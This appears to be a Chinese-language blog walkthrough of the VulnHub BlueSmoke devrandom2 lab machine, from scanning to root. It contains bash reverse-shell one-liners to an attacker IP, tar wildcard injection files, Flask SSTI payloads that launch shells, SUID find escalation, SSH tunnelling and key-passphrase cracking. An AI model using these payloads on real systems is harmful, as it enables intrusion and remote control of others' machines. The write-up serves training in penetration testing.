靶机下载地址: https://www.vulnhub.com/entry/bluesmoke-devrandom2,678/
教程链接地址: https://vishal-chandak.medium.com/vulnhub-bluesmoke-devrandom2-write-up-a669e7382ba0

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 BLUESOMKE:桥接于 192.168.31.1 的网卡,ip 未知

确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机服务
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.31.84 靶机开放端口 22,80

# tar 通配符提权

打开 http://192.168.31.84 进行信息收集

对方服务器会执行我们上传的 tar 文件,通过上传恶意 tar 文件反弹 shell

准备反弹 shell 的 exp.sh 文件

1
2
3
4
cat > exp.sh << EOF
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.31.78/4444 0>&1'
EOF
Image

这里的 ip 我做了别名并且加入到了环境变量里边,对 ifconfig 的结果做了过滤,所以有这么一个奇怪的命令

tar 通配符提权如下,对方去使用 tar 的时候会执行我们的 exp.sh 从而将 shell 反弹出来

1
2
3
4
5
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
tar -cf tar_shell.tar ./*
# --checkpoint[=NUMBER]每第 NUMBER 条记录显示进度消息(默认为 10 )
# --checkpoint-action=ACTION在每个检查点上执行 ACTION
Image

将 exp.sh 上传到网站上

Image

上传成功后,没多长时间我们就接受到了反弹的 shell

Image

# 定时任务查看

将接受到的 shell 变成一个标准的 shell 终端

Image

查看计划任务看是什么情况造成这个漏洞的

crontab -l | tail -n 1

Image

可见靶机上有 tar -cvf 的压缩命令的定时任务被定期执行

# ssh 私钥密码破解

收集服务器的相关信息,如 id 查看用户组,查看 linux 的版本,查看 pkexec 是否存在,上传 pspy 监控,上传 linpeas 监控服务器上的敏感信息,寻找服务器的权限设置错误,查找 s 权限的文件,看有无端口敲门漏洞,看端口信息是否可做隧道,脏牛提权,敏感的配置文件信息,定时任务等

对上述做了全面信息收集后,并没有找到可利用的点,继续找,找到了 ssh 配对的信息,可以尝试利用此 ssh 私钥连接到其他用户。 cat ~/.ssh/id_rsa

Image

看到这个 ssh 私钥文件内容比正常无密码的 ssh 要多一点,怀疑有密钥上有一层密码,需要通过相关工具来破解出密钥的密码。

查看靶机上总共有哪几个用户 cat /etc/passwd | grep bash

Image

我们就是要用这个私钥文件分别配对四个用户进行免密登陆

将私钥文件发送至我们的 kali 攻击机 scp id_rsa parallels@192.168.31.78:/tmp/tmp

Image

尝试用此私钥登陆对方服务器时 ssh -i id_rsa backupper@192.168.31.84

Image

提醒我们需要输入密码,破解 ssh 私钥的密码首先想到的就是 john 工具
先用 ssh2john 将私钥文件转化为 john 可识别的文件 ssh2john id_rsa > id_rsa_hash

Image

再用 john 去破解私钥的 hash 文件 john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

Image

没有爆破出来,这个 john 工具出现了问题,干脆删了它,重新编译一个 john

# 源码编译 john

并不知道 john 是以何种方式安装的,可以尝试打印其路径,删除其二进制文件,或者先用 apt 源尝试卸载 john sudo apt remove john

Image

看来就是通过 apt 源中下载的 john,将其卸载干净之后,再次输入 john 的命令,判断出来此服务器目前没有了此命令

下一步就是通过源码编译 john:https://github.com/openwall/john

Image

wget https://github.com/openwall/john/archive/refs/tags/1.9.0-Jumbo-1.zip

Image

cd john-1.9.0-Jumbo-1 在 src 文件夹下配置: ./configure

Image

同一文件下使用 make 命令编译

在 run 文件夹下使用: ./john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

Image

-> 破解得到 ssh 私钥文件的密码是 samantha1

将我们编译成功的 john 配置到全局,以软连接的方式强制放到 /usr/bin/john
sudo ln -sf ~/Desktop/redteam/john/john-1.9.0-Jumbo-1/run/john /usr/bin/john

-s 表示添加软连接,-f 表示强制添加,第一个位置是原位置,第二个位置是添加了软连接之后的位置

Image

输入 john 之后可以看到此命令已经变成全局命令了

# 用户组权限利用

凭借私钥及其密码 samantha1 依次尝试前面得到服务器四个有 bash 的用户登陆,最终凭借 jaap 用户登录到了服务器 ssh jaap@192.168.31.84 - i id_isa

Image

拿到 jaap 的权限之后,我们同样是没有一些通用的提权方式提权的,需要翻阅文件,看靶机设计者给了我们哪些文件

找到主目录下有两个敏感文件,一个 s 权限的 find 命令,另一个是 startserver.sh 的脚本,

ls -Alh 看到 find 属于 jaap 用户和 remnie 用户组
remnie 权限使用 find 提权 sudo -u remnie ./find. -exec /bin/bash -p \; -quit
没 sudo,用 jaap 来执行从而拿 remnie 的用户组权限 ./find. -exec /bin/sh -p \; -quit

Image

有了 remnie 的用户组权限,就可以进入到其用户目录下

# shell 脚本漏洞

查看到有段提示说是在本地的某个端口处有一些问题

查看到 scripts 中的 start.sh 中有一些代码:使用 /tmp/start 创建一个变量文件名,如果文件开始在那里,将使用 ps 命令从进程运行的 grep 形式的 server.py,如果 server.py 没有运行,它将运行它,如果是,则它会回显该消息。

Image

查看一下当前有哪些端口在运行,记录一下

Image

上传 pspy 监控,发现的确没有 server.py 被执行

Image

于是我们接下来就需要去操作得到 /tmp/start 这个文件,记得之前在 jaap 用户中找到过一个 startserver.sh 的文件,去看一看这个文件,这个文件就是用来将 1 输入到 /tmp/start 中的,之后看 pspy 监控

Image

Pspy 中监听到了 remnie 用户下的 start.sh 执行了,判断出此时靶机上的某个端口被打开了,看一看目前开放的端口有哪些

Image

-> 此时本地端口 8787 成功被打开了

Image

# curl 测试内网站点

服务器上有 curl 命令,用 curl 测试得到是一个网站,但是服务器不存在 iptables 命令,无法将 8787 端口外放,意外着外界无法访问到此端口,这时候就需要做 ssh 的端口转发

Image

# ssh 端口转发

ssh 端口转发就是将我们访问某一个 ip:port 的流量转发至另一个 ip:port,如下,在此我的公网 ip 地址中存在一个网站,想要通过 ssh 端口转发,将我本地访问 localhost 的某一个端口的流量转发至这个页面

Image

判断本地的 7001 端口并没有被占用 lsof -i:7001
将访问本地 7000 端口的信息转发到远程主机的 80 端口上面 ssh -p 2121 -L 7000:localhost:80 root@1.117.52.219 -i /etc/ssh/cloud.pem -N
-p 表示进入服务器的端口,-L 表示转发规则,前者为本地端口,后者为远程端口,-i 指定私钥文件进行免密,-N 表示不进入服务器

Image

于是,我们访问本地的 7001 端口便可以进入到公网上的页面

Image

假如远程主机在 9888 端口部署了一个服务器,但是防火墙并没有开放这个端口,如果本地想要访问这个 9888 ,就可以用上面的案例来绕过防火墙进行 ssh 访问。

可以使用 nohup 进行后台运行 nohup ssh -p2121 -L 7001:localhost:80 root@1.117.52.219 -i /etc/ssh/cloud.pem -N &
使用一句话命令直接清理本地的 7001 端口 lsof -i: 7001 | awk '{print $2}' | grep -v 'PID' | uniq | xargs kill - 9

Image

nohup 无日志产生的后台运行如下 nohup java -jar ruoyi-admin.jar >/dev/null 2>&1 &

Image

我们通过端口转发来将我们本地访问 8787 端口时进入到靶机的 8787 界面,从而绕过防火墙规则,靶机上需要确定开放了 8787

在我们的主机上执行: ssh -L 8787:127.0.0.1:8787 -i id_rsa jaap@192.168.31. 85 -N
于是我门主机打开 8787 的页面就进入到了靶机对应的窗口中

Image

-> 接下来转变为对这个端口所在的 web 的测试

# ssh 内网穿透

既然提到了 ssh 的端口转发,不得不说一下 ssh 的内网穿透可以将内网的服务穿透到公网上去,

1
2
3
4
5
6
7
8
# 实现如下
`user1 mac: lsof -i:1122`

# 将指定user2 的 1122 端口连接到user1 的 22 端口,-R表示远程端口转发,-N表示不执行,-f后台运行
`user2 kali: ssh -Nf -R *:1122:localhost:22 chentuo@192.168.31.19`

# user3通过连接user1的 1122 端口连接到了user2上
user3 windows: ssh -p 1122 parallels@192.168.31.19

下图中从上至下分别表示 mac,kali,windows 三个机器

Image

即 user1 相当于一个公网跳板,一个内网的机器连接这个跳板就可以连接到另外一个内网的机器,user3 连接到公网跳板的流量被转发到了另一台内网机器

# SSTI 反弹 shell

打开 127.0.0.1:8787 开始测试网站漏洞

Image

是 flask 框架,测试 SSTI 模板注入 http://127.0.0.1:8787/?name={{10*10}}

Image

回显是计算结果,表示存在此模板注入,利用 SSTI 模板注入在反弹 shell 到 kali 机器上

http://127.0.0.1:8787/?name={% import os %}{{os.system('bash -c "bash -i >&/dev/tcp/192.168.31.83/4444 >&1"')}}

Image

反弹失败可能是采用了过滤机制

# SSTI 失败绕过

利用 url 编码绕过过滤机制,http://www.jsons.cn/urlencode 上进行 url 编码转化

Image

将上述中用来反弹 shell 的代码进行 url 编码后得到如下网址

http://127.0.0.1:8787/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.83%2F4444%20%3E%261%22')%7D%7D

继续访问此网站用来反弹 shell,依然是无效果的

Image

换种方式来执行,在对方服务器上写一个 sh 的反弹脚本,利用 SSTI 去读取这个脚本并执行

1
2
3
4
cat > /tmp/shell.sh << EOF
#! /bin/bash
bash - c 'bash -i >& /dev/tcp/192.168.31.83/4444 0>&1'
EOF
Image

访问如下网址用另外的方式来反弹 shell

http://127.0.0.1:8787/?name={{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cd%20/tmp/;bash%20shell.sh%27).read()}}

Image

反弹虽然成功了,但却立即断开了,原因不明,将机器重新启动后,shell 成功被反弹出来,接收到了一个稳定的 shell, 将所得到的 shell 利用如下三行代码输出为标准的 shell

Image

-> 现在我们成功拿到了 remnie 用户的 shell

# 二进制数据解密

remnie 用户下的 server.py 文件就是形成此漏洞的原因

Image

我们现在仍然在一个既没有内核漏洞可以提权,也没有相关权限设置错误提权的机器上,只能寻找于 remnie 相关的文件来找突破口,看到用户主目录下有一个 server.conf 的配置文件,进行查看之后看到了如下信息。

Image

提示说是一个连接 root 服务的文件,最右边的这些二进制数字比较可疑,尝试进行二进制解密

将这些二进制数字打印出来 cat server.conf | cut -d '|' -f 2 > binary.txt

Image

Vim 不进入写模式将换行符换为空 vim 1.txt +":%s/\n//g" +wq

Image

From binary 解密二进制之后得到了十六进制的如下数据

Image

From magic 解密之后得到了 root 账户的密码 root:-!F8h2LMr<\[n]'N]Kq

Image

利用如下命令切换至 root 用户

Image

-> 成功拿到了 root 账户的权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝